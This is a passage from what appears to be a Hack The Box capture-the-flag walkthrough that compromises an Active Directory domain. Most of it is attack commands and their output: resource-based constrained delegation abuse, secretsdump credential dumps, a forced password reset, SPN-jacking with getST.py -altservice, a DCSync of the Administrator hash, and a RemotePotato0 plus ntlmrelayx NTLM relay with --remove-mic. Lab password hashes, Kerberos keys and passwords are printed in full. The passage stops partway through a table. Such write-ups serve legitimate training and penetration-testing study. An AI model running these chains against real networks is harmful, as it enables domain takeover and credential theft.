[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> ZVFMJSLQ$ can now impersonate users on WEB01$ via S4U2Proxy
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> Delegation rights modified successfully!
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> XXDHZHBA$ can now impersonate users on WEB01$ via S4U2Proxy
It created two machine accounts and configured resource-based constrained delegation (RBCD) on WEB01, writing those accounts into WEB01’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute. That tells WEB01 to trust either account to act on behalf of any user, so I can now request Kerberos tickets to WEB01 impersonating a privileged user like Administrator.
Auth
Now I can auth as that machine account impersonating the Administrator account for a specific service on WEB01:
oxdf@hacky$ getST.py -spn cifs/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.60.234 'pirate.htb/XXDHZHBA$:0z5{^C5m^hB$$oD'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache
And get a shell as Administrator on WEB01:
oxdf@hacky$ proxychains wmiexec.py -k -no-pass WEB01.pirate.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:49689 ... OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
pirate\administrator
C:\>hostname
WEB01
And I can grab user.txt from C:\Users\A.White\Desktop:
C:\users\a.white\desktop>type user.txt
c2832025************************
Auth as A.White
Enumeration
There’s nothing really new or interesting to find in the filesystem as Administrator (other than user.txt).
I noted above that A.White was logged into WEB01. On HTB, that typically means that auto-login credentials are stored. I can find those with secretsdump.py using my Administrator access:
oxdf@hacky$ proxychains secretsdump.py Administrator@WEB01.pirate.htb -no-pass -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x342dfe90cc4061078b79f011cd08f931
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4:::
[*] Dumping cached domain logon information (domain/username:hash)
PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09+00:00)
PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-02-25 17:59:14+00:00)
PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-08-17 00:33:05+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
PIRATE\WEB01$:aes256-cts-hmac-sha1-96:57b48ef53425adf16b2409ea4d980de1007c9f61b126bdc1c05d3d830c727526
PIRATE\WEB01$:aes128-cts-hmac-sha1-96:b6b018d4edd476f0999d6f666844cf77
PIRATE\WEB01$:des-cbc-md5:efdf97b9a1e06243
PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee87b4b9eb08a8a4af90710056f558
PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9:::
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
[*] DPAPI_SYSTEM
dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989
dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9
[*] NL$KM
0000 A5 24 39 57 3F 8F 30 DC 61 F1 56 B7 B5 5C 0F 7C .$9W?.0.a.V..\.|
0010 6B 0A FF DF B0 A2 99 C3 68 A9 FE 15 E2 48 33 A9 k.......h....H3.
0020 E9 8C 27 F8 8B 7C 05 55 4D FE 3C 5D 09 EA 9C 49 ..'..|.UM.<]...I
0030 95 EB 7A 09 5B 48 7A 14 DC 74 E9 CB 7C 1A E0 8A ..z.[Hz..t..|...
NL$KM:a52439573f8f30dc61f156b7b55c0f7c6b0affdfb0a299c368a9fe15e24833a9e98c27f88b7c05554dfe3c5d09ea9c4995eb7a095b487a14dc74e9cb7c1ae08a
[*] _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11
0000 E3 EF 47 4B 98 13 8D D4 46 9F 6D C1 76 F8 79 BA ..GK....F.m.v.y.
0010 1E 08 17 BA 44 50 21 87 B9 08 0B 9F 33 34 C9 1B ....DP!.....34..
0020 9B 1A F1 CE 4E 91 FB 56 2C 8D 88 24 41 2C 70 0E ....N..V,..$A,p.
0030 00 D1 05 BC 67 4D 8E 26 A5 94 E3 DA 41 73 F2 C8 ....gM.&....As..
0040 73 13 D6 34 B3 9C 34 12 D4 BF B6 84 92 47 68 6D s..4..4......Ghm
0050 F6 06 5B 53 65 66 80 7E 0A CE 92 F9 4E A3 16 6B ..[Sef.~....N..k
0060 B9 75 2D 12 D3 52 C8 9B 9F DA FA 7D 31 71 E4 DD .u-..R.....}1q..
0070 55 BE 9D 58 55 04 F8 C6 28 A0 FF 4C 67 0D 75 95 U..XU...(..Lg.u.
0080 A9 09 A3 C9 A7 EC 2D FF 98 4E 5D DF 77 04 9A 91 ......-..N].w...
0090 A5 59 7F 0A 39 C5 49 94 55 67 59 01 CC E4 1A DE .Y..9.I.UgY.....
00a0 D9 8D 80 A1 B5 F7 F8 2C C2 20 B5 90 DF 4B FC 0B .......,. ...K..
00b0 FC 5F 0F EB 66 E7 3A 56 F1 AB 7F E9 14 C6 D7 CD ._..f.:V........
00c0 2B 83 E0 B9 06 5B 76 E0 2B C3 30 F7 69 44 16 F3 +....[v.+.0.iD..
00d0 AC D6 C4 63 DF 84 92 35 00 B6 4A 10 14 E7 44 13 ...c...5..J...D.
00e0 80 9A 7A 06 AF 57 7C E7 68 5B FD 2A B5 6A 20 67 ..z..W|.h[.*.j g
_SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:e3ef474b98138dd4469f6dc176f879ba1e0817ba44502187b9080b9f3334c91b9b1af1ce4e91fb562c8d8824412c700e00d105bc674d8e26a594e3da4173f2c87313d634b39c3412d4bfb6849247686df6065b536566807e0ace92f94ea3166bb9752d12d352c89b9fdafa7d3171e4dd55be9d585504f8c628a0ff4c670d7595a909a3c9a7ec2dff984e5ddf77049a91a5597f0a39c5499455675901cce41aded98d80a1b5f7f82cc220b590df4bfc0bfc5f0feb66e73a56f1ab7fe914c6d7cd2b83e0b9065b76e02bc330f7694416f3acd6c463df84923500b64a1014e74413809a7a06af577ce7685bfd2ab56a2067
[*] _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11
0000 01 00 00 00 22 01 00 00 10 00 00 00 12 01 1A 01 ...."...........
0010 B6 C4 08 39 11 A2 83 50 B1 FD 69 48 80 36 50 E1 ...9...P..iH.6P.
0020 B1 C5 74 1F 77 19 B1 F4 FF 92 62 03 DC DF 4E C9 ..t.w.....b...N.
0030 C0 36 9B 7B 92 FE 10 A2 D7 FF 95 3B FA 40 6A 3B .6.{.......;.@j;
0040 67 86 52 3E D8 27 67 CC 8F E2 73 4A F8 92 E9 8E g.R>.'g...sJ....
0050 FB EF 2B 34 76 75 90 32 B4 EC DE F3 42 76 C3 63 ..+4vu.2....Bv.c
0060 B8 A9 41 0B 63 D8 09 EA 6E F1 67 F5 B5 41 D7 3C ..A.c...n.g..A.<
0070 3A C4 21 4D A2 2A 14 D9 79 82 C9 28 D9 1B B9 71 :.!M.*..y..(...q
0080 FE 99 D4 80 9C 1E BD EA E8 E7 69 C6 B3 37 7E E1 ..........i..7~.
0090 A4 78 DF FB B2 DD C1 33 18 BE 13 11 67 D1 A4 A0 .x.....3....g...
00a0 18 33 A4 C2 7E 05 12 69 0D 73 DE 1E 59 A0 17 61 .3..~..i.s..Y..a
00b0 EC 7D 40 FC 18 82 05 0C BF 43 9D 9C BB 28 1A 06 .}@......C...(..
00c0 D4 BF 8D 85 D1 FE B2 74 0E C3 99 EC A0 E4 6E 36 .......t......n6
00d0 99 0B 72 B2 C4 A6 4A E0 09 BA FB 3D FD 26 4F F7 ..r...J....=.&O.
00e0 34 B6 3F B9 22 60 9E 8C 30 58 83 A7 5D 9A EF 75 4.?."`..0X..]..u
00f0 CE 37 BC A0 91 04 36 59 0D 93 12 FC A4 6A D8 9A .7....6Y.....j..
0100 61 A8 9B DD C8 73 19 7D E4 8E AB 3D 69 B9 E4 98 a....s.}...=i...
0110 00 00 19 41 B0 1B 73 17 00 00 19 E3 DF 68 72 17 ...A..s......hr.
0120 00 00 ..
_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:01000000220100001000000012011a01b6c4083911a28350b1fd6948803650e1b1c5741f7719b1f4ff926203dcdf4ec9c0369b7b92fe10a2d7ff953bfa406a3b6786523ed82767cc8fe2734af892e98efbef2b3476759032b4ecdef34276c363b8a9410b63d809ea6ef167f5b541d73c3ac4214da22a14d97982c928d91bb971fe99d4809c1ebdeae8e769c6b3377ee1a478dffbb2ddc13318be131167d1a4a01833a4c27e0512690d73de1e59a01761ec7d40fc1882050cbf439d9cbb281a06d4bf8d85d1feb2740ec399eca0e46e36990b72b2c4a64ae009bafb3dfd264ff734b63fb922609e8c305883a75d9aef75ce37bca0910436590d9312fca46ad89a61a89bddc873197de48eab3d69b9e49800001941b01b7317000019e3df6872170000
[*] Cleaning up...
[*] Stopping service RemoteRegistry
It’s easy to miss in all that output, but the line is:
[*] DefaultPassword
PIRATE\a.white:E2nvAOKSz5Xz2MJu
I can check that with my shell:
C:\>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ PIRATE
DefaultUserName REG_SZ a.white
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
ShellAppRuntime REG_SZ ShellAppRuntime.exe
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0xdf8ec1d0
ShutdownFlags REG_DWORD 0x13
AutoAdminLogon REG_SZ 1
AutoLogonSID REG_SZ S-1-5-21-4107424128-4158083573-1300325248-3101
LastUsedUsername REG_SZ a.white
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
The password isn’t stored in this registry key. It’s stored encrypted as an LSA secret.
Auth
These creds do work for A.White:
oxdf@hacky$ netexec smb DC01.pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\a.white:E2nvAOKSz5Xz2MJu
Auth as A.White_adm
Enumeration
A.White is not a member of any group that allows for shell access. I could use RunasCs.exe to get a shell, but there’s no need at this time. They don’t have a home directory on DC01, and I’ve got full Administrator access to WEB01.
BloodHound does show that A.White has ForceChangePassword over A.White_adm:
Password Change
I’ll change the password with bloodyAD (uv tool install bloodyAD):
oxdf@hacky$ bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white -p E2nvAOKSz5Xz2MJu set password a.white_adm '0xdf0xdf.'
[+] Password changed successfully!
It works:
oxdf@hacky$ netexec smb DC01.pirate.htb -u a.white_adm -p 0xdf0xdf.
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\a.white_adm:0xdf0xdf.
Shell as Administrator on DC01
Enumeration
A.White_adm is in the IT group, which has WriteSPN over the four computer objects on the domain:
Combining this with the delegation observed above, I have enough to do a SPN-jacking attack.
SPN-Jacking
Strategy
As A.White_adm, I can impersonate any user to the SPN HTTP/WEB01. That’s meant to be the HTTP service on the WEB01 account. During S4U2Proxy the KDC:
- Checks
HTTP/WEB01is in a.white_adm’s allowed list. - Looks up whichever account currently owns the SPN
HTTP/WEB01and encrypts the resulting ticket with that account’s key.
Currently that account is WEB01$ (as shown in the list of SPNs in BloodHound):
But as I can change the SPNs, I can make that whatever I want, including the DC account.
Execute
Two computers can’t both have the same SPN, so I’ll remove it from WEB01:
oxdf@hacky$ bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white_adm -p 0xdf0xdf. msldap delspn "CN=WEB01,CN=COMPUTERS,DC=PIRATE,DC=HTB" "HTTP/WEB01.pirate.htb"
SPN removed!
I can get the distinguished name from BloodHound. Now I’ll add the same SPN to DC01:
oxdf@hacky$ bloodyAD --host DC01.pirate.htb -d pirate.htb -u a.white_adm -p 0xdf0xdf. msldap addspn "CN=DC01,OU=DOMAIN CONTROLLERS,DC=PIRATE,DC=HTB" "HTTP/WEB01.pirate.htb"
SPN added!
Now I request a ticket:
oxdf@hacky$ getST.py -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.60.234 'pirate.htb/a.white_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@HTTP_WEB01.pirate.htb@PIRATE.HTB.ccache
I can also request for an alternative service. A Kerberos service ticket is encrypted with the service account’s long-term key, and a single account owns many SPNs that all share that one key. DC01$ owns cifs/DC01, ldap/DC01, host/DC01, http/DC01, etc. It also now owns HTTP/WEB01. All of these are encrypted with the same key.
When a service receives your ticket, it validates it by decrypting with its own machine key. If the ticket decrypts, it’s trusted. Windows does not verify that the service-class in the sname (HTTP vs CIFS) matches the specific service handling the request. -altservice in getST.py will allow me to switch targets:
oxdf@hacky$ getST.py -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip 10.129.60.234 -altservice CIFS/DC01.pirate.htb 'pirate.htb/a.white_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from HTTP/WEB01.pirate.htb@PIRATE.HTB to CIFS/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
Secrets Dump
I’ll use this CIFS ticket to dump the administrator hash from the DC:
oxdf@hacky$ KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache secretsdump.py -k -no-pass -just-dc-user administrator pirate.htb/Administrator@DC01.pirate.htb
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56
Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f
Administrator:des-cbc-md5:08c1f7b9269bba9d
[*] Cleaning up...
Shell
I’ll use that hash to get a WinRM shell as Administrator:
oxdf@hacky$ evil-winrm-py -i DC01.pirate.htb -u Administrator -H 598295e78bd72d66f837997baf715171
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'DC01.pirate.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
And grab the root flag:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
73b01728************************
Beyond Root
Shortcut Path
Overview
There’s a shortcut path which is actually how I originally solved, skipping the Administrator access on WEB01 and going directly to auth as A.White_adm.
I’ll note above that the A.White user is logged into the WEB01 box. I can use a cross-session relay attack (like I’ve shown in HTB Mirage, HTB Shibuya, and HTB Rebound) with RemotePotato to coerce authentication from the logged in user back to a host I control. In each of the previous examples, I got a hash to crack. Here that password is not easily cracked. Instead I’ll use ntlmrelayx.py to relay the auth to DC01. I’ll have it create an LDAP shell so I can take actions as A.White on the DC. And it happens that A.White can change the password of A.White_adm, which I’ll do via that LDAP shell. Compared to the path shown above, this path looks like:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[shell as gMSA_ADFS_prod$ on DC01]-->D(<a href='#ntlmv1-capture'>Coerce WEB01$</a>)
D-->E(<a href='#relay'>Relay\nRBCD</a>)
E-->F[<a href='#shell-as-administrator-on-web01'>Shell as Administrator\non WEB01</a>]
F-->G(<a href='#enumeration'>Credential Dump</a>)
G-->H[<a href='#auth-as-awhite'>Auth as A.White</a>]
H-->I(<a href='#password-change'>Change A.White_adm\nPassword</a>)
I-->J[<a href='#auth-as-awhite_adm'>Auth as A.White_adm</a>]
A-->B(<a href='#tunnel'>Tunnel</a>);
B-->C[Shell as gMSA_ADFS_prod$ on WEB01];
C-->K(<a href='#relay-1'>Cross Session Relay\nRemotePotato0.exe</a>);
K-->L[<a href='#relay-1'>LDAP Shell as\nA.white</a>]
L-->I;
B-.->D
linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,2,3,4,5,6,7,9,14 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Hash Fail
To pull off this attack, I can first do the thing I’ve done previously, coercing authentication from the logged in user to get a Net-NTLMv2 hash. To coerce authentication, I have to have the user start a connection on RPC to an Oxid resolver. RemotePotato0.exe creates that resolver, but since it’s running on a Windows machine and RPC is already listening, it has to listen on a different port (TCP 9999 by default). But RPC will only reach out to TCP 135, so I’ll create a tunnel using socat that allows Windows to reach out to my RPC port and I forward that right back to TCP 9999 on WEB01 (where the fake Oxid resolver is listening):
proxychains socat tcp-listen:135,fork,reuseaddr tcp:192.168.100.2:9999
Now I run RemotePotato0.exe on WEB01 with the following arguments:
-m 2- module 2, Rpc capture (hash) server + potato trigger-s 1- session id where the user is logged in (see theqwinstaoutput)-x 10.10.15.169- The IP for the Oxid resolver, my HTB VPN IP
It runs, and works, returning a Net-NTLM-v2 challenge response:
evil-winrm-py PS C:\programdata> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.15.169
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 106 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!
NTLMv2 Client : WEB01
NTLMv2 Username : PIRATE\a.white
NTLMv2 Hash : a.white::PIRATE:9f0d3fc5cdade373:c82466882632cef3b14d796ff6ae6ee8:a95f1cdefc990c72
I know A.White’s password is E2nvAOKSz5Xz2MJu, which is not in any password lists in SecLists, and thus isn’t going to be easily cracked.
Relay
The relay spans three hosts. My VM runs socat to forward to the fake Oxid resolver on WEB01:9999 and ntlmrelayx.py. WEB01 runs RemotePotato0.exe to coerce the logged-in A.White session and the fake Oxid resolver on :9999, and that authentication is relayed on to DC01 to start an LDAP shell:
%%{init: {'theme':'dark', 'themeVariables': {'noteTextColor':'#ffffff','noteBkgColor':'#3a3f4b','noteBorderColor':'#8fa0c0'}}}%%
sequenceDiagram
autonumber
participant WEB01 as WEB01
participant VM as My VM
participant DC01 as DC01
Note over VM: ntlmrelayx.py -t ldaps://DC01 -i --remove-mic
Note over VM: socat :135 to WEB01:9999
Note over WEB01: RemotePotato0.exe -m 0 -s 1
WEB01->>WEB01: Spawn COM object in A.White's session (trigger)
WEB01->>VM: DCOM OXID resolution to :135
VM-->>WEB01: socat forwards to<br/>Rogue Oxid Resolver (TCP 9999)
Note over WEB01: Rogue Oxid Resolver directs<br/>A.White to authenticate (NTLM to :9997)
WEB01->>WEB01: NTLM to RemotePotato RPC relay :9997
WEB01->>VM: Forward A.White NTLM to ntlmrelayx :80
VM->>DC01: Relay auth over LDAPS (--remove-mic)
DC01-->>VM: Authenticated as PIRATE\A.White
rect rgba(120,150,200,0.38)
Note over VM,DC01: LDAP shell on 127.0.0.1:11000
VM->>DC01: change_password a.white_adm
DC01-->>VM: Password changed
end
When I run RemotePotato0.exe, it spawns a COM object in A.White’s session, which then reaches out to the Oxid resolver on my host TCP 135. That port is serving a socat tunnel back to the rogue Oxid resolver from RemotePotato0.exe on 9999. The rogue resolver answers that resolution with a binding that directs A.White’s session to authenticate using NetNTLM to the RPC relay on :9997, where RemotePotato0.exe relays it to port 80 on my VM. On my VM, ntlmrelayx.py is listening on port 80, and relays that challenge over to DC01 over LDAPS (removing the MIC), and uses that to get a LDAP shell. Within that shell, A.White can use its permissions to change the password of A.White_adm.
I’ll start ntlmrelayx.py with the following options:
-t ldaps://DC01.pirate.htb- The target to relay to.-smb2support- Allow for SMBv2-i- Interactive. Since I’m relaying to LDAP, it’ll start an LDAP shell.--remove-mic- This removes the NTLM message integrity check, allowing me to relay.
The --remove-mic flag is important. Without it, when the relay happens, it’ll fail like this:
[*] Servers started, waiting for connections
[*] Setting up RDP Server on port 3389
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.129.60.234 controlled, attacking target ldaps://DC01.pirate.htb
[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)
[*] (HTTP): Client requested path: /
[-] (HTTP): Authenticating against ldaps://DC01.pirate.htb as PIRATE/A.WHITE FAILED
With that started, I’ll run RemotePotato0.exe, this time with:
-m 0- module 0, Rpc2Http cross protocol relay server + potato trigger-s 1- session id where the user is logged in (see theqwinstaoutput)-x 10.10.15.169- The IP for the Oxid resolver, my HTB VPN IP-r 10.10.15.169- The IP to send the HTTP auth to.-t 80- The port to send the HTTP auth to.
I’ll run it, and it reports success:
evil-winrm-py PS C:\programdata> .\RemotePotato0.exe -m 0 -r 10.10.15.169 -t 80 -x 10.10.15.169 -s 1
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on 10.10.15.169 to your victim machine on port 9999
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the NTLM relay attack, launch ntlmrelayx on 10.10.15.169!!
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 106 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to ntlmrelayx HTTP Server 10.10.15.169 on port 80
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] Got NTLM type 3 AUTH message from PIRATE\a.white with hostname WEB01
[+] Relaying seems successful, check ntlmrelayx output!
At ntlmrelayx.py, it reports success as well:
oxdf@hacky$ sudo ntlmrelayx.py -t ldaps://DC01.pirate.htb -smb2support -i --remove-mic
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
[*] Servers started, waiting for connections
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.129.60.234 controlled, attacking target ldaps://DC01.pirate.htb
[*] (HTTP): Client requested path: /
[*] (HTTP): Authenticating connection from PIRATE/A.WHITE@10.129.60.234 against ldaps://DC01.pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/A.WHITE@dc01.pirate.htb [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/A.WHITE
It says there’s an LDAP shell on localhost port 11000. I’ll connect with nc, and use the change_password command:
oxdf@hacky$ nc 127.0.0.1 11000
Type help for list of commands
# change_password a.white_adm .0xdf0xdf
Got User DN: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
Attempting to set new password of: .0xdf0xdf
Password changed successfully!
netexec shows it works:
oxdf@hacky$ netexec smb DC01.pirate.htb -u a.white_adm -p '.0xdf0xdf'
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\a.white_adm:.0xdf0xdf
From here I can continue the same path to Administrator as above.
gMSA Accounts WinRM on WEB01
Both gMSA_ADCS_prod$ and gMSA_ADFS_prod$ can WinRM into DC01, but on WEB01 only gMSA_ADFS_prod$ works. gMSA_ADCS_prod$ fails:
oxdf@hacky$ proxychains evil-winrm-py -i WEB01.pirate.htb -u 'gMSA_ADCS_prod$' -H 1430191bce4f3731edd34d8c24a56c23
...[snip]...
[*] Connecting to 'WEB01.pirate.htb:5985' as 'gMSA_ADCS_prod$'
[-] Failed to authenticate the user gMSA_ADCS_prod$ with ntlm
That same hash works fine on DC01, so it’s not the issue. This actually has to do with what groups are checked for remote access. WinRM access to a host is gated by that host’s local groups. The default Microsoft.PowerShell session configuration grants its endpoint only to the local Administrators and local Remote Management Users groups.
Looking at the two accounts in BloodHound, each is provisioned for the service its name implies, and those services run on different hosts:
| Account | SPN | Service runs on |
|---|---|---|
gMSA_ADFS_prod$ |
host/adfs.pirate.htb |
WEB01 (federation is web-facing) |
